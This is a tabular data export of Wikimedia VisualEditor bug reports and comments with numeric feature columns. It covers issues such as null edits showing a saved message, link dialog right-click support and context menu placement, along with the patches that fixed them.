https://bugzilla.wikimedia.org/show_bug.cgi?id=52640",Low,25.0,1373644020,1406680806.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.5,0.5,2.0,0.5,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,2.5,0.0,3.5,6.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,1.5,0.0,0.0,1.5,0.5,0.5,0.0,2.5,1.0,0.5,1.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,12.5,0.0,1.5,6.5,0.0,0.0,0.0,0.0,2.0,0.5,1.0,0.0,5.5,6.5,5.5,0.0,4.0,0.0,5.5,0.0,0.5,2.5,0.0,0.5,0.0,0.0,1.0,3.420114539504441,0.6591280972417017,"I was following Sherry's kind advices in my sandbox at enwp URL
<<you can create an {{Infobox person}}, with parameters like ""name"" and ""occupation"".  Within those parameters, you can type the wikicode for any templates you want.  For example, you can give it a name parameter of ""Alice Expert((citation needed|date=July 2013}}"", which later gets processed properly as a template. >>
An infobox appeared (well, a box with my sandbox title, actually), I saved, ""your edit was saved"" message appeared, the box isn't in the page anymore.
Tried again, same thing. No trace of my activity in the history. Win 7, Vector, both Chrome and FF.

Thanks,
E.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
236609,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","Change 150419 merged by jenkins-bot:
Don't show PostEdit message if we made a null edit

https://gerrit.wikimedia.org/r/150419",,,1406681112,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,56,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,"Change 150419 merged by jenkins-bot:
Don't show PostEdit message if we made a null edit

GERRIT_URL"
236602,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","Change 150419 had a related patch set uploaded by Alex Monk:
Don't show PostEdit message if we made a null edit.

https://gerrit.wikimedia.org/r/150419",,,1406673673,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,56,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.9629629629629629,"Change 150419 had a related patch set uploaded by Alex Monk:
Don't show PostEdit message if we made a null edit.

GERRIT_URL"
236594,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't",Confirmed that this is still broken for VisualEditor (and not for wikitext editing).,,,1401997911,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9375,Confirmed that this is still broken for VisualEditor (and not for wikitext editing).
236590,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","**swalling** wrote:

(In reply to comment #3)
> This is the same behaviour as the wikitext editor. We really should fix this
> there first if we're changing behaviour for VisualEditor, so that they match.
> 
> CC'ed Steven - is there interest in changing for this case in core?

As far as I know, this problem is solved for the wikitext editor. We should not be showing the post-edit confirmation on null edits. I just re-tested this to confirm with a null edit to an article. Is there something special about Elitre's case that I should try to replicate?",,,1385406579,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,21,,0.0,1.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,5.0,0.0,5.0,14.0,1.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,14.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,5.0,14.0,5.0,1.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.447058823529412,0.7294117647058823,"**swalling** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

As far as I know, this problem is solved for the wikitext editor. We should not be showing the post-edit confirmation on null edits. I just re-tested this to confirm with a null edit to an article. Is there something special about Elitre's case that I should try to replicate?"
236587,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","This is the same behaviour as the wikitext editor. We really should fix this there first if we're changing behaviour for VisualEditor, so that they match.

CC'ed Steven - is there interest in changing for this case in core?",,,1385399707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,4.0,0.0,7.0,18.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,18.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.133333333333334,0.8,"This is the same behaviour as the wikitext editor. We really should fix this there first if we're changing behaviour for VisualEditor, so that they match.

CC'ed Steven - is there interest in changing for this case in core?"
236582,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","It might be worth adding that this actually works for Sherry:
http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&action=history .",,,1373648223,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7333333333333334,1.0,"It might be worth adding that this actually works for Sherry:
URL ."
236577,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","It must be the ""template within a template"" thing, because it will save without that part. 
Thanks,
E.",,,1373644172,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.44,0.84,"It must be the ""template within a template"" thing, because it will save without that part. 
Thanks,
E."
53236,VisualEditor: Suppression of Cite error in templates still paints a phantom,"Screenshot

Previously we had an issue that the cite extension would throw an error if you had a reference inside a template. That message is now suppressed, but only suppressed - it generates a substantial visual artefact on mouseover that previously contained the error message. See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11227}",Low,25.0,1373635140,1392426157.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-v6t7ev5julnky6rafmtd,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,1.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,10.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,4.3125,0.6625,"Screenshot

Previously we had an issue that the cite extension would throw an error if you had a reference inside a template. That message is now suppressed, but only suppressed - it generates a substantial visual artefact on mouseover that previously contained the error message. See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11227}"
236235,VisualEditor: Suppression of Cite error in templates still paints a phantom,I believe that this has been fixed for some time; I cannot replicate now.,,,1392426157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v6t7ev5julnky6rafmtd,task_subcomment,,True,c1,3,True,,,32,,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.9411764705882353,I believe that this has been fixed for some time; I cannot replicate now.
53205,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"A few users at itwp requested that the list of articles you can choose as a wikilink target supports right-click on each title to view the page in another tab; and that disambiguation pages in the same list appear differently (maybe italicized as it currently happens in MediaWiki special pages?) Thanks!

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373580540,1415310757.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_description,resolved,True,c1,3,False,False,False,1,,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,20.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,1.0,9.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.0,14.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.355263157894737,0.7763157894736842,"A few users at itwp requested that the list of articles you can choose as a wikilink target supports right-click on each title to view the page in another tab; and that disambiguation pages in the same list appear differently (maybe italicized as it currently happens in MediaWiki special pages?) Thanks!

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234568,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,Verified the fix in test2 and production.,,,1416433806,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Verified the fix in test2 and production.
234565,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,The fix is verified in betalabs(beware of a difference between Link and Simple link!). The fix applies to the Link.,,,1415399485,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,21.0,0.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,The fix is verified in betalabs(beware of a difference between Link and Simple link!). The fix applies to the Link.
234561,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Change 171488 merged by jenkins-bot:
Matching pages from suggestions in link dialog now actually work as links

https://gerrit.wikimedia.org/r/171488",,,1415310550,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 171488 merged by jenkins-bot:
Matching pages from suggestions in link dialog now actually work as links

GERRIT_URL"
234557,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Change 171488 had a related patch set uploaded by SuchetaG:
Matching pages from suggestions in link dialog now actually work as links

https://gerrit.wikimedia.org/r/171488",,,1415237098,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.8076923076923075,1.0,"Change 171488 had a related patch set uploaded by SuchetaG:
Matching pages from suggestions in link dialog now actually work as links

GERRIT_URL"
234553,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"(In reply to Roan Kattouw from comment #3)
> Both this and bug 50646
Forget about bug 50646, my mistake, that one was about links in a different context. Comment #3 is still valid for this bug though.",,,1415226493,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,2.0,19.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.488372093023256,0.8372093023255814,"(In reply to Roan Kattouw from comment #3)
QUOTE
Forget about bug 50646, my mistake, that one was about links in a different context. Comment #3 is still valid for this bug though."
234549,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Both this and bug 50646 should be fixed by making the link suggestions real links, i.e. real <a> tags whose hrefs point to the pages they're suggesting.

To do that, you'd need MWLinkTargetInputWidget to use a specialized subclass of MenuItemWidget; right now it creates plain MenuItemWidgets. Eventually that specialized subclass could be enriched to contain an image and a description etc., per the new designs for the link inspector. We could also use this new widget in MWTitleInputWidget.",,,1415054253,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,4.0,11.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,3.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,9.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,7.0,4.532608695652174,0.7391304347826086,"Both this and bug 50646 should be fixed by making the link suggestions real links, i.e. real <a> tags whose hrefs point to the pages they're suggesting.

To do that, you'd need MWLinkTargetInputWidget to use a specialized subclass of MenuItemWidget; right now it creates plain MenuItemWidgets. Eventually that specialized subclass could be enriched to contain an image and a description etc., per the new designs for the link inspector. We could also use this new widget in MWTitleInputWidget."
234547,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Bug 50240 asks for disambiguation pages to be distinguished in the list, so I'm retitling this one to focus on being able to open the targets with ctrl+click/right click. A user at en.wp has requested this functionality as well.",,,1378728231,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,18.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.222222222222222,0.8888888888888888,"Bug 50240 asks for disambiguation pages to be distinguished in the list, so I'm retitling this one to focus on being able to open the targets with ctrl+click/right click. A user at en.wp has requested this functionality as well."
234540,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"You can use right click or ctrl+click on the links once inserted into the page, but per Bug 48915 this currently leads to the wrong namespace for links other than those to and from the article namespace.",,,1375706305,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.282051282051282,0.8461538461538461,"You can use right click or ctrl+click on the links once inserted into the page, but per Bug 48915 this currently leads to the wrong namespace for links other than those to and from the article namespace."
53167,"VisualEditor: Context menu should appear in floated element, not in float origin","Screenshot of problem

When a page contains multiple floated blocks after one another that each have a context menu (e.g. both transclusion) the ones after the first get the context menu in the wrong place. Namely on the second ""line"" of the article instead of where the element actually is (much further down).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11059}",Low,25.0,1373540820,1525988938.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xtmuxxa5rnveu7aqbphi,task_description,resolved,True,c1,3,True,False,False,1,,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,8.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,3.9444444444444446,0.6444444444444445,"Screenshot of problem

When a page contains multiple floated blocks after one another that each have a context menu (e.g. both transclusion) the ones after the first get the context menu in the wrong place. Namely on the second ""line"" of the article instead of where the element actually is (much further down).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11059}"
1066590,"VisualEditor: Context menu should appear in floated element, not in float origin","This works correctly these days:

https://en.wikipedia.org/wiki/Wangbangsan?veaction=edit

{F18142544}
{F18142546}",,,1525988938,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xtmuxxa5rnveu7aqbphi,task_subcomment,,True,c1,3,True,,,253,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.8125,"This works correctly these days:

URL

{F18142544}
{F18142546}"
53166,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"Go to https://en.wikipedia.org/wiki/Mohammad_Azharuddin - look at the infobox image. Then hit ""edit"". I have no idea what's happening, but it shouldn't be.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
{T53932}
{T55226}",Low,25.0,1373539980,1429615760.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,16.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.96875,0.65625,"Go to URL - look at the infobox image. Then hit ""edit"". I have no idea what's happening, but it shouldn't be.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
